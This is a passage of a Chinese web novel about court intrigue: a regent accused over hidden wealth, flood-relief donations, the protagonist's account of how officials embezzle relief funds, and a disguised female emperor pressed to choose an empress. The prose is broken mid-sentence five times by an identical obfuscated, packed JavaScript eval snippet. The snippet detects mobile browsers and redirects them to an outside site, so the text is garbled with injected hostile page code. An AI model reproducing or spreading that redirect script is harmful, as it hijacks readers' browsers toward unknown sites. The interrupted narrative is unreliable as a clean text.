“说谎?哈哈哈哈哈哈滑天下之大稽!本王驰骋沙场一生天下英雄听本王大名皆闻风丧胆手底下的人命没有十万也有八万。本王说谎?你觉得谁配让本王说谎啊?” “北辰不得胡言乱语摄政王岂会说谎?” “陛下.”顾北辰还要解释慕容嫣摆摆手制止了他目光再次放在林震仙身上问道:“王爷您刚才说这钱是顾家的可有证据?” “那顾北辰说臣突然发财可有证据?” 顾北辰咬牙:“您不是刚刚还承认了吗?” “是啊本王好歹还敢承认不像某些鼠辈连敢作敢当的勇气都没有。” “你!你什么意思?” “本王什么意思?本王倒要问问你什么意思!王府大婚当日你不顾礼义廉耻进府抢亲若不是陛下在场你以为你还能活着?这次不算竟然还勾引王府少夫人去赌场!哼也不知道顾云霆这种大儒怎么教育出你这样不忠不孝没皮没脸的儿子。” “你!王爷请你不要借题发挥现在说的是你家钱财的事情!” “林家的钱财自有本王亲自掌管还轮不到你这个外人说三道四。” “那你就说说你的钱是哪来的啊?” “你如此笃定本王有钱那你倒说说钱在哪啊?” “我” 奶奶的。 这老B登什么时候口才这么好了? 慕容嫣倒是听出点意思问道:“王爷那您到底发没发财啊?” “回陛下 “数目有多少?” 林震仙直接看向顾北辰:“顾贤侄陛下问你话呢。” “我?”顾北辰指了指自己“我哪知道你有多少钱?” “那你是怎么知道本王发财的呢?” 言罢慕容嫣和林震仙包括一直在慕容嫣身边伺候的嬛嬛都是同时看向顾 北辰。 这下他可慌了。 他万万没想到林臻诡辩的能力这么强,竟然几句话就引得所有人的注视。 “北辰,现在摄政王也来了,有什么话不怕当面对峙,你就说吧。” 慕容嫣给了他一个肯定的眼神,那意思就是,你放心大胆的说,朕肯定向着你。 但这个眼神在顾北辰心里无疑是催命符啊。 这钱就是他的,但他不能说啊! “陛下.臣也是听小道消息” “小道消息?多小的道?多小的消息?连陛下的百骑司都不知道的事情,你是怎么知道的?难道说你暗中监视王府不成!?” 最后几个字林震仙特意咬了重音。 这也是林臻教他的,说话要分轻重缓急,这样别人听起来才有分量。 顾北辰鬓角冒汗,大脑飞速旋转。事先他确实没想到林震仙竟然这么厉害,本以为必胜的一场辩论竟然成了自己监视王府。 这可是重罪啊! 虽然慕容嫣不会直接给下惩罚,但对朝堂的影响很不好。 “王爷说笑了,臣怎么会监视王府呢?臣没那个胆子。” “有胆子在陛下面前蛐蛐本王,没胆子承认?那本王刚才说你是鼠辈,你可承认?” “王爷,臣身为翰林院院判,自然有向陛下检举的义务。” “胡说八道,大乾有言官,有御史大夫,什么时候轮到你一个小小院判来检举了?检举的还是当朝摄政王!今天你若拿不出证据来,可别怪本王翻脸无情。” 林震仙这种尸山血海淌过来的战神,其释放的压迫感可不是常人能承受的。 顾北辰已经感觉到自己的双腿在不自觉的颤抖,他硬着头皮说道:“王爷,臣确实没有证据,但您刚刚也说了,您确实发财了。” “不错,本王确实发了一笔小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789193|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 财,但你是怎么知道的?说出来,本王今天不与你计较。” 跟我计较? 现在是你突然出现大笔来路不明的钱财,怎么还是不跟我计较呢? 你怎么和你孙子一样不讲理啊? 慕容嫣翠眉微蹙:“王爷,您可是从不说谎的人,这笔钱难道是小财吗?” “哈哈哈哈,男子汉大丈夫,目空一切,不拘小节。多少钱财在臣看来都是小钱,登不得大雅之堂,更不配拿到陛下面前胡诌。” 没错啊,几百万银两在我林震仙看来就是小钱。 因为他根本就花不到,林臻死活不给。 所以说这根 本就不算说谎。 慕容嫣气急了。 他现在根本就不在乎顾北辰是从哪得来的消息,她就像知道林震仙到底有多少钱,能不能从中敲诈出来些! “王爷,朕就问你一句话,你到底发了多少财!” “回陛下,不知道。” “不知道!??”慕容嫣好看的杏眼要从眼眶里瞪出来了。 不知道是什么意思? “回陛下,确实不知道,因为钱都在臣那个不成器的孙子手里。” “你说林臻?” “是,要不臣现在就回去喊他?” 喊林臻进宫? 他那张嘴能把死人说活! 谁跟他辩论那简直是自取其辱! “罢了,林世子就不必进宫了。”慕容嫣的语气微微有些失望,就在这时,顾北辰突然加了把火。 “王爷,就算在林臻手里,这笔钱也不是小数目吧?辽东洪灾,正是需要钱粮救济的时候,要不您拿出来些,帮帮地方上的灾民吧。” 林震仙的消息没有慕容嫣及时,还不知道辽东受灾的事情,于是他瞪大眼睛问道:“什么?怎么会这样?” “唉,现在是雨季,辽东十县突降大雨,地里颗粒无收,百姓流离失所,苦不堪言。” 百姓的事情从来都是林震仙最关心的事情,他当即抱拳说道:“陛下!臣愿意拿出十万两,来救济灾民!” “什么?十万?” 第61章 林臻要进宫了? 对林震仙来说十万两纹银绝对不是小数目,他现在眼皮都不眨一下的拿出来,就证明他肯定还有大笔财富。 越是这样想,慕容嫣就越不甘心,她贝齿轻咬,红唇抿起,好看的杏眼仿佛要看穿林震仙的内心。 “王爷,十万两对辽东灾民来说简直是杯水车薪,要不您再多拿点呢? 慕容嫣都想好了,辽东灾民那边有十万两银子赈灾已经足够,多余的可以进自己口袋里。 到时候装修装修宫殿,清理清理华清池,买几件像样的首饰、胭脂。 虽然平时用不上,但晚上的时候可以悄悄地变美嘛。 哪个女孩子不喜欢自己漂漂亮亮的呢。 却没想到林震仙直接拒绝了:“陛下,拿出十万两已经是臣的极限,若还想要就得需要顾院判帮忙了。 顾北辰暗骂一声老狐狸。 “不知王爷希望臣怎么做? “说出你为何知道林家财宝的事情!只要你实话实说,本王倾家荡产,愿意再拿出五万来赈灾。 “嘶 林震仙这是咬死自己不会说出来! 真是老谋深算啊。 看来陛下想要在林震仙身上薅羊毛,难如登天。 “王爷,臣确实是道听途说的,并不知道林家的事情。 林震仙斜楞着看他:“也就是说,你没有暗中监视王府了? “没有。 “既然如此,以后就少听风就是雨,在陛下面前蛐蛐本王。再有发现,本王让你后悔来到这个世界上! 顾北辰咬牙。 老东西,老子早晚弄死你! 还要弄死你孙子,让你林家彻底从这个世界上消失! 面对林震仙的威胁,顾北辰根本不敢还嘴,只能把这口气咽下去,待来日报复。 最后林震仙对慕容嫣说道:“陛下,臣这就回去准备十万两白银。另外,也希望陛下日后不要听信小人谗言。 林震仙把目光落在顾北辰身上,一张精明的老脸上有着说不出的厌恶。 “这样祸乱社稷的胆小鼠辈,根本不配在议政殿里驻足,以后就让林臻进宫帮您处理政事吧。 林震仙的话根本就不是在和慕容嫣商量,这让后者十分懊恼:“朕的事情,就不需要王爷操心了。 “微臣告退。林震仙没给慕容嫣面子,转手就走了。 慕容嫣气得胸脯胀痛,忍不住咳嗽起来:“咳咳咳。 “陛下! 顾北辰想来搀扶,却被慕容嫣拦下。 回过头目光不爽地看向嬛嬛。 这死妮子,把束胸勒这么紧干嘛? 不知道朕那里很大吗? 嬛嬛似乎猜测到慕容嫣瞳孔里面的深意,怯懦地低下头去。 慕容嫣缓了缓,这才对身边的顾北辰说道:“顾院判,你告诉朕,林家有财宝的消息到底是从哪来的! 她声音冰冷,不带任何感情,与适才的宠溺判若两人。 顾北辰闭上眼睛暗暗叹了口气。 唉,最难猜测帝王心啊。 “臣真的是道听途说的。 “呵,但愿如此吧,不过看摄政王的架势,明天早朝的弹劾是少不了的,你自己想好说辞,否则就别怪朕不管你。 “臣,知晓了 顾北辰一躬到地,抬头的瞬间,眼中竟然闪过一抹狠辣与阴毒。 那令人恐惧的目光,正盯着慕容嫣。 林震仙回家的路上就去了赌场,亲自吩咐曹雄把十万两白银送进宫去。 曹雄对林震仙的命令从来不打折扣,说十万两就是十万两,十万零一都不行。每一块银锭都是用称量好的,然后让张俪来算账,一一摆放在马车上,送进皇宫里。 林臻自从林震仙走后就一直在院子里等消息,他实在太担心这个便宜爷爷的性子了,万一把几百万两都给了慕容嫣,那自己这些天不就白折腾了么。 眼看着天色渐晚,林臻坐在静心园的亭子里硬生生把茶水喝得一点滋味都没有了,林震仙这才满脸阴霾地姗姗来迟。 林臻站起来焦急地说道:“祖父,情况如何? “唉。林震仙未语先叹,“辽东洪灾,老夫拿十万两去救济灾民了。 十万! 林臻眼前一黑就险些晕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789194|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过去。 这得开多少家出租车公司才能赚回来啊? 更何况还是去赈灾的. 这些钱就是用屁股想也知道绝不可能到老百姓手里啊! 林臻颓然地坐在石凳上,唉声叹道:“唉。 “不就是十万两纹银么,和你的小金库比起来算什么?辽东的百姓已经苦不堪言,你还在这里计较这些! “祖父,孙儿计较的恰恰就是百姓。 “那你叹什么气?林震仙没好气的也坐在石凳上,林安立刻倒上崭新的茶水。 至于林臻的,根本没人管。 林臻正了正身子,面对着林震仙说道:“祖父,您觉得这笔钱能帮到百 姓吗?” “当然能!朝廷有了这笔钱就可以买粮食买布匹,买完通通运到辽东去,这还不算帮到百姓吗?” “祖父,您凭什么认为买完的东西会到老百姓手里?” 林震仙虎目锋利,厉声喝问:“大胆!你什么意思?难道说朝廷会买完不给老百姓送去?” “呵呵呵”林臻发出几声看淡一切的苦笑。 当然会送去,肯定会送去。 但什么时候送去,送什么东西过去,那可就不一定了。 上有审批,下有扒皮,一层一层地扒下去,到老百姓手里时大米就剩下麸糠壳了。 可惜啊。 从小就是世子,长大成为摄政王,只会上阵杀敌,不会数米耕地的林震仙,根本就不懂底层人民的疾苦。 “祖父,如果这笔钱由您自己管控,买什么东西,派什么人送去,那百姓自然能得到救济。如果是别人或者是顾家派系的人,百姓就有苦头吃了。” 林震仙看孙子不像在开玩笑,也怔怔地问道:“为何?难道顾家连赈灾的钱都敢贪??” “他们已经贪了数百万两,还差这十万吗?” “你口说无凭,老夫绝不相信顾云霆会做出这样的事情来。” 即便是政治对手,林震仙也不相信有大儒之称的顾云霆会做出这样天怒人怨的事情。 看来,林臻必须得给老爷子好好上一课了。 第62章 原来贪污是这样的 林臻对看热闹的林安甩了个白眼。 “没眼力见,赶紧再给本世子倒杯茶来。” “是。” 林安这才屁颠屁颠地跑回去,同时林臻对老爷子说道:“祖父,如果我是顾北辰的话,我会把这十万两纹银都花在刀刃上。” “首先辽东洪灾,百姓最需要的就是粮食和布匹,因为他们要吃饱穿暖。所以我会找一家粮商,以平常三倍的价格买下粮食,再找布匹商以五倍的价格购买布匹” 林臻的话还没说完,林震仙便说道:“等等,你为什么要高出这么多倍去买?你有病啊?” 林臻:. “祖父,您先听孙儿把话说完。” “三倍的价格买下粮食,粮商可以开具买卖证据,顾北辰就可以以此来上奏朝廷,就说因为雨季的原因粮食涨价。陛下根本就不懂农事,也不了解粮价,所以他只会看一眼便点头同意。” “现在就是贪污的开始。” “顾家不是傻子,他会和粮商谈价格,然后进行返点。比方说现在一斗米的价格是两文钱,他六文钱买,买完给朝廷上报,确定没事以后,粮商就会退还五文钱给他。” “因为我们都知道量大价低的道理,所以一文钱一斗米商家有得赚,顾家更是可以贪到更多。布匹也是一样的道理,但之所以用五倍的价格就是因为现在是夏季,衣服不是灾民最紧要的东西。” “人在饥饿的时候就只有一个烦恼,那就是吃饱。而遮体是在吃饱的前提下才会有的想法。毫不夸张地说,一个极度饥饿的女人会为了一口饭而忘掉廉耻地脱掉衣服,任由他人观看甚至亵玩。” “所以布匹上可以操作的空间更大,贪的也就越多。孙儿推断,如果这十万两纹银交给顾家来操作,他们至少贪掉六万两,以弥补前天的巨大损失。” 林震仙倒吸一口凉气,紧接着怒火涌上心头。 他一巴掌拍在石桌上,怒吼道:“顾家如果真敢如此,老夫就算顶着造反的名头也要除掉他们!” “祖父,不急。我们这片土地上的任何一个国家,任何一个朝代都是这么过来的。如果光是剩四万两也就罢了,最严重的是,这只是贪污的开始。” “价值四万两的赈灾粮和布匹会运到地方上,地方官不管是县令还是太守,都会对这些东西垂涎三尺。如果我是辽东太守,我会把赈灾粮食调包,用牲口吃的麸糠、粟壳来代替,至于布匹,我可以全部扣下,因为灾民根本就不需要穿衣服。” “然后把替换下来的粮 食再减去一半,运到县一级。同时我就可以拿着调包的东西去找粮商换成现银,如此贪污就形成了。至此,四万两已经去掉两万。” “县一级的官员更是直接,他们可以选择直接贪污掉粮食和布匹去换钱。也可以用这些东西来换取百姓的劳动力,或者是受灾百姓家里的孩子、美女,然后去和人伢子交易,更有甚者可以趁机吞并农户的土地。虽然最后到他们手里的物资不多,但贪污的最是疯狂,因为只有他们是和受灾群众直接接触的。” “百姓们为了不让自己饿死,只有向朝廷妥协,选择用牲口吃的麸糠来维持生命,为此不惜卖儿卖女,出卖身体。” 林臻眼里泛起泪花,好像是回想到了什么,他慢慢地把头抬起来,双眸凝视着月亮。 “一场灾难,到最后却是让官员们赚得盆满钵满,百姓们叫苦不迭,生存都难。所以祖父,您这十万两纹银,注定要打水漂了。” 林震仙惊讶得合不拢嘴。 他万万想不到朝廷腐朽到这个地步,更想不到地方如此糜烂! 他越想越气,越想越觉得林臻说得有道理,最后一巴掌将石桌拍得裂开,向着天边大吼道:“操你妈的顾云霆,老夫这就带兵抄了你家!” 言罢林震仙红着眼睛对林安喊道:“林安!传我的命令,猎熊营全体集合!” “是!” 猎熊营,这是一支玩阵法的部队,也是林震仙最得意的兵马。 这支 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789195|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不到万人的队伍,如果结成阵型,可抵十万雄兵! 所以叫:猎熊(雄)。 林安激动的热血沸腾,恨不得现在就冲进顾家把顾云霆的脑袋拧下来当球踢,当即掏出烟火帮要点燃,。 林臻赶紧把他拦住。 “住手!” “祖父,万万不可!”林臻跑过抱住林震仙,却被他一下镇开。 “小子,这事儿你别管!以前老夫不弄顾家是看在先帝的面子上,现在他们竟敢搜刮民脂民膏,让百姓生不如死,老夫岂能容他!” “祖父,您听孙儿一句,再发火也不迟!” 林安看看这爷俩,最终把手里的烟花棒收了回去。 林臻说道:“祖父,别说大乾,整个华夏大陆的贪官千千万万,杀了一批还有一批!根本杀不完!” “那你说怎么办?难道让老夫眼睁睁看着百姓冻饿而死吗?” “祖父,现在陛下不信任我们,所以我们只能在暗处行事” 林臻的话还没说完就让林震仙喷了一脸的唾沫星子:“滚,老夫一声光明磊落,何曾去过暗处?” “我孙儿的意思是刚刚一切都只是猜测。如果我们冒然抄家或者去找陛下,陛下肯定是不会相信的。” “这个时候我们只需要暗中盯着顾家就好,如果他们真的苛待百姓,我们有人证物证,陛下才会相信,说不定届时会把赈灾的任务交在你的头上。” “您想,如果您亲自去赈灾,那些屁大点的小官还敢贪污吗?” “他们不仅不敢贪污,还会想方设法地博得您的好感。同时陛下也会因为我们赈灾成功而嘉奖我们!我们家势力太大了,如果不造反就得想办法得到陛下的信任才行!” 林臻几句话便把已经在暴走边缘的林震仙拉了回来。 他重新坐在石凳上,吹了吹石桌上的粉末。 “小子,就按你说的办。” “如果老夫去了这帮人还敢贪污的话,贪一个杀一个!谁TM都别想拦着!” 第63章 慕容嫣到底还是撑爆了! 林臻心里很清楚如果慕容嫣把这件事情交给顾家或者顾家派系的人去做那贪污就是必然的。 在普通百姓一家三口年收入不到五两银子的大乾没有官员会放过这个大好机会。 多贪一分便能多压榨百姓一分自己的日子就会好上一分。 林震仙在暴怒之后就把林臻撵走了 翌日早上寝宫里慕容嫣正坐在梳妆台前面嬛嬛咬牙切齿费劲的给她缠束胸。 一边缠还一边腹诽。 唉陛下的那里好像越来越大了。 本来能缠三圈的束胸现在就只能缠两圈还有点兜不住的样子。 慕容嫣也忍着些许疼痛不满地回头说道:“死妮子你就不能轻点!” “陛下恕罪可是您这里实在是太大了呀束胸又有些短.” “差不多就行了整天勒着这么个东西烦都烦死人。” 如果林臻看到这一幕一定会想办法给慕容嫣做个文胸。 嬛嬛好不容易才把后背上的布料缝上掐断线头对慕容嫣说道:“陛下奴婢今天缝得轻您千万别动气否则会撑开的。” “知道了。” 慕容嫣站起来嬛嬛把龙冠戴在她头顶又给她穿上龙袍。 “陛下的身材可真好羡煞奴婢了呢。” “死妮子连朕都敢打趣!赶紧去办你的事情。” “是。” 很快慕容嫣收拾好行装来到金銮殿。 此时金銮殿上已经站满了文物群臣林震仙作为武官之首又是王爷自然站在最前面。 对他对立面的是顾云霆带领一众文官和心腹站在另一列。 慕容无舌供着身子来到大殿山呼:“陛下驾到!” “吾皇万岁万岁万万岁。” 慕容嫣从屏风后面闪现坐在龙椅上挥手道:“众爱卿平身。” “谢陛下!” 场中只有一个人没跪那就是林震仙。 不仅如此也只有他一个人是穿鞋上来的腰间还挂着宝剑。 慕容嫣每每看到他这幅样子都暗暗有些不爽但这是先帝特批的待遇她没办法阻止。 她尽量压低声音:“众爱卿可有本奏?” “启奏陛下!” 林震仙第一个跳出来单手握住剑柄霸气威武地说道:“老臣不才想举荐王府世子林臻入东宫为太子少保辅佐陛下。” 慕容嫣愤恨的咬牙,心说果然! 你还真要把你那不成器的孙子扶进皇宫里。 她将目光看向顾云霆等人,问道:“爱卿们以为如何啊? 吏部尚书罗文站出来说道:“陛下,臣以为不妥! “哦?为何?慕容嫣带着淡淡笑意和几分得意地看向林震仙。 “王府世子林臻并非饱学之士,再说陛下未有子嗣,何来太子少保之说? “罗爱卿言之有理,王爷,这件事情不如我们以后再议吧。 “陛下! 林震仙就是想把林臻塞进宫里,这样就能掣肘顾北辰。 他不能再看着顾家在后背乱蛐蛐,损害江山社稷。 “自从陛下登基以来一直忙于政务,尚未选调女子进宫。如今天下初定,四海升平,陛下也确实该册立皇后了。 慕容嫣最怕的就是这件事情。 一旦册立皇后,她女子的身份就会暴露,到时候别说林震仙,就是顾家都有可能倒戈。 因为他们无法接受一个女子来当皇帝,这与世俗相悖。 但没想到林震仙竟然当朝说出这件事情,这就引起了百官的共鸣。 御史大夫司马忠第一个站出来说道:“陛下,摄政王言之有理。国不可一日无君,也不可一日无母,册立皇后的事情当提上日程。 慕容嫣偷偷咬了咬牙,类似求救的目光看向顾云霆。 却没想到后者竟然也跟着附议! “陛下,臣附议。 大臣们见两位大佬都这么说,也紧跟着附议。 “陛下,臣等附议。 “你们. 慕容嫣哪里明白,在场的大臣家中都有闺女,他们都迫切地希望自己闺女可以成为皇后或者妃子,从此家族更进一步。 但这在慕容嫣看来无疑就是一张催命符。 她是个女的啊!女的怎么册立皇后? 一旦身份败露,她都不敢想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789196|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 象大乾江山会出现怎样的动荡! “朕暂无册立皇后的想法。 慕容嫣只能想办法拖下去,等整顿了兵权,她就可以行使皇帝的权力了。 可是林震仙很明显不打算放过她:“陛下,册立皇后是社稷大事,更是群臣所愿,难道陛下要背离民心,做出有辱先祖的事情来吗? “你!摄政王,你这是和朕说话的语气吗? 司马忠站了出来:“陛下,天子有失,臣子自然有上谏的义务,恳请陛下顺应民心,招女子 进宫,择日册立皇后。” “恳请陛下顺应民心,册立皇后。”群臣跪倒一片,包括顾云霆。 他有个侄女,这几天整琢磨怎么送进宫呢,没想到林震仙先说了出来,如此甚好。 在这一点上,他的想法和群臣是一致的。 慕容嫣气的胸脯不断起伏,最后随着一声:砰。 竟然爆开了! 嬛嬛在屏风后面听到这个声音吓得双腿颤抖,一下坐在地上。 同时慕容嫣更是瞪大双眼,一动不敢动。 寂静的朝堂里,几乎所有人都听到了这声响动,目光齐刷刷地看向慕容嫣。 尤其是顾云霆,他看着慕容嫣那微微有变化的胸脯,双目变换,不知道在想些什么。 慕容嫣如坐针毡,目光看向群臣说道:“好,朕准了。命礼部尚书着手经办此事,退朝。” “陛下且慢!臣还有本奏!”林震仙又站了出来,眼睛盯着慕容嫣的胸脯一眨不眨。 慕容嫣心虚地弯了弯腰,咬牙切齿地说道:“讲。” “陛下,辽东洪灾,臣愿意带头捐献十万两纹银以赈灾,请陛下号召群臣捐款。” “准!爱卿们自愿捐款,由谷中满汇集,支援辽东。” 顾云霆露出几分得意的笑容。 由老谷操办那就更简单了,林震仙啊林震仙,我还真的好好谢谢你。 谢谢你让我顾家回笼资金。 “退朝。” 慕容嫣现在就想赶紧回寝宫把束胸弄好,没想到林震仙再一次跳出来! “陛下!臣还有本奏!” 第64章 要不奴婢给您当妃子? 慕容嫣气得一口贝齿都要咬碎了她凝眉问道。 “王爷还有何事?” “陛下既然册立皇后已近在眼前那太子少保的事情也就顺理成章请陛下准许林臻进宫任少保之位。” 慕容嫣的目光扫过群臣发现竟没有人反对! 奇怪难不成这帮人暗中达成了什么交易不成? 就连往日频频与林震仙作对的顾云霆此刻都是眼观鼻鼻观口像老僧入定似的。 慕容嫣没办法只好答应道:“准奏。” “退朝!” 言罢慕容嫣立刻起身。 嬛嬛赶紧迎出来挡在她侧面以免胸前的波涛被人看见。 散朝之后群臣们面面相觑都不知道慕容嫣今天什么路子平时都很积极的议事今天怎么急匆匆的就要散朝呢。 谷中满为自己能接下这个大订单而感到欢喜往殿外走的时候他凑到顾云霆身边说道:“顾相下官怎么觉得陛下今天有点不对呢?” 顾云霆深沉地点点头:“唔老夫也觉得不正常而且刚刚那个声音到底是什么呢?” “不知道突然就出来一个好像什么东西崩开的声音您说陛下会不会是” “是个女的?” 谷中满焦急的看了看左右发现没人注意这才长舒口气说道:“呼顾相这可万万不能说啊!” “怕什么?你以为就我们两个人这么想?” “顾相的意思是” 顾云霆眼中精光一闪:“那绝对是扣子崩开的声音百官都听到了现在大家心中都有疑问但是谁也不敢问!所以陛下到底是男是女就看他会不会和妃子行房!如果选定嫔妃之后行房那便是男的 “那就是女的!也就是先帝的公主。” 说到这顾云霆突然眼神变换了几下:“如果陛下真是女子.呵呵呵对我们也有绝大的好处!” “顾相的意思下官不明白。这自古以来可没有女子当皇帝的先例啊若是传出去其他国家恐怕会笑掉大牙怎么会有好处呢?” “你忘了北辰可还没娶亲呢。” 谷中满恍然大悟:“对啊!万一陛下看上的顾少我们可就飞黄腾达了!” “哈哈哈哈哈。” 顾云霆两人相视大笑出门而去。 慕容嫣回到寝宫一把将头上的龙冠摔在梳妆台上。 “砰!” 嬛嬛吓得立刻跪倒在地:“陛下息怒奴婢知罪 !” “知罪知罪!知罪有什么用!现在百官都开始怀疑朕的身份了!你告诉我这件事情该如何弥补!” “奴婢.”嬛嬛咬牙“要不奴婢给您当妃子配合您演戏。” “臭丫头你想的美!你以为当了妃子就能成主子了?” “奴婢不是这个意思可奴婢只能想出这个办法啊!” 慕容嫣仔细一琢磨觉得这件事情可行啊! 如果嬛嬛成了妃子那她就可以配合自己说谎告诉百官自己和嬛嬛行了房这不就堵住悠悠之口了吗? 慕容嫣转过身 “可是陛下奴婢没有身份呀。” “也对没有身份百官还是会怀疑朕必须要在他们献上来的女子里挑选一个行房。唉你先起来吧。” 慕容嫣也知道现在责怪嬛嬛没有用当务之急是赶紧想出办法应付百官对自己的怀疑。 一旦身份被暴露以后的路恐怕就会更加难走。 唉苍天啊您若是开眼就给朕派来一个帮手吧! 帮手来了。 林臻早上刚睡醒就被林震仙从被窝里拽起来随后一盆凉水浇在他头上。 “哗!” “噗!咳咳咳祖父您这是干什么呀?” “干什么!?堂堂王府世子太子少保天天睡懒觉成何体统!” “太子少保?这是什么东西?” 林臻只对原来的历史有了解但对大乾这个架空的世界来说太子少保他还真不知道是做什么的。 林震仙说道:“就是太子的老师你赶紧收拾收拾吏部的任命公文很快就到官服也会给你送过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789197|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来从今以后你白天在皇宫里帮助陛下处理政务晚上回家休息。” “这” 林臻刚刚睡醒还有点蒙。 自己怎么稀里糊涂的就进宫成太子老师了? 太子是谁?在哪啊? 慕容嫣不是女的吗? 浣碧把大毛巾披在林臻身上:“世子小心些别着凉了。” 林震点点头对林震仙说道:“祖父到底发生了什么事情?” 林震仙把自己的想法和今天在朝堂上发生了一切都对林臻和盘托出。 林臻这才恍然大悟的说道:“原来如此您是想让孙儿进宫去掣肘顾北辰免得他以后在背后蛐蛐我们家?” “正是如此!陛下身边有小人 我们若不想清君侧就只能你去!” “也罢,孙儿这就去收拾收拾,准备上任。” 当官嘛,这事儿林臻最有经验了,更何况是去面对慕容嫣,他有绝对的把握能做好这份工作。 见林臻要回去,林震仙这才问道:“臻儿,你觉得陛下是男是女?” 这个敏感的话题林臻不太想回答,但不回答肯定又不行。 “祖父,这件事情我们不能去问,也不能盲猜,等陛下册立妃子之后看他行不行房事就知道了。” “此言有理,可惜王府没有女子,否则老夫都想送进宫里一个。” “您没有,但百官家里可有,更何况这是新君纳娶的大事情,地方上也会有美女送上来。孙儿估计,这个时间所有百官都在盯着陛下的性别。” 林震仙叹道:“唉,如果是女子可怎么办啊!” “皇帝也不一定非得是男人啊。” “胡说八道,自古以来哪有女子当皇帝的?这不是胡闹么。” “只要把江山社稷治理得好,是男是女没那么重要,孙儿倒觉得,陛下还是很不错的,我们只要等后续的结果即可。” “唔,明天就是陛下寿宴了,到时我们再细细观察。” “也好。” 第65章 小脚得如同初绽的花瓣 虽然是夏天,但井水冰凉刺骨,林臻连着打了好几个喷嚏,坐在床榻上把自己裹得像个北极熊。 远处厢房有嘻嘻哈哈的笑声传来,不用想也知道肯定是刘书瑶和小翠在偷偷嘲笑自己。 两个小妮子,等我缓过来非把你们狠狠地就地正法不可。 简单吃了口饭,林臻躺下睡了过去。 下午的时候侯春从外面回来,带回来楚国使臣进京的消息。 “侯哥。 卧房里,浣碧站起身笑着打招呼。 侯春对这个称呼有些羞涩,好像从没有这么漂亮的姑娘这么喊过他,挠了挠后脑勺说道:“浣碧姑娘. 林臻被吵醒,索性直接坐起来,喝了碗清茶定了定神。 侯春站在他身前汇报道:“世子,楚国使团进京了,这次是由他们的清秋公主楚惜灵带队,就住在顾家的醉仙楼里。 林臻微微挑眉:“醉仙楼?为什么不住皇家驿馆? 浣碧很知趣的给侯春也倒了杯茶。 侯春连连道谢,随即说道:“驿馆被其他国家的使臣住满了,再说楚惜灵是皇室公主,等级太高,驿馆年久失修,配不上她的身份。所以顾相才安排他们住进了醉仙楼。 “他们两家不会有什么猫腻吧? “这小的不知道。 现在有两件事情不符合情理。 第一是为何会来这么多别国使臣,竟然把驿馆都住满了。 慕容嫣才登基不到一年而已,真有这么大面子?还是说有人在暗中操控,故意将这群人汇聚一堂呢? 第二,顾云霆竟然安排楚惜灵住进自己家的酒楼。 这件事情就很可疑。 在原书中,顾北辰可是联合了楚国一起坑死的林震仙。 难道说,他们的合作从现在就开始了? 林臻努力思考着原书剧情。 他记得清秋公主楚惜灵是顾北辰众多后宫中当仁不让的二号人物,亦是除却正宫慕容嫣外,地位最为尊崇的侧室。 慕容嫣寿宴就是她第一次崭露头角,席间屡屡设局,难题迭出,意图让大乾使团颜面扫地。 就在大乾需要割地赔款的时候,顾北辰犹如天降神兵,一连三题对答如流,不仅巧妙化解了危机,更揭露了楚国的阴谋,令楚惜灵一番筹谋付诸东流,空手而归。 从此以后楚惜灵就和顾北辰杠上了,两人频繁交锋,在碰撞的火花中产生情愫,后来私定终身。 楚国灭亡后,顾北辰把楚惜 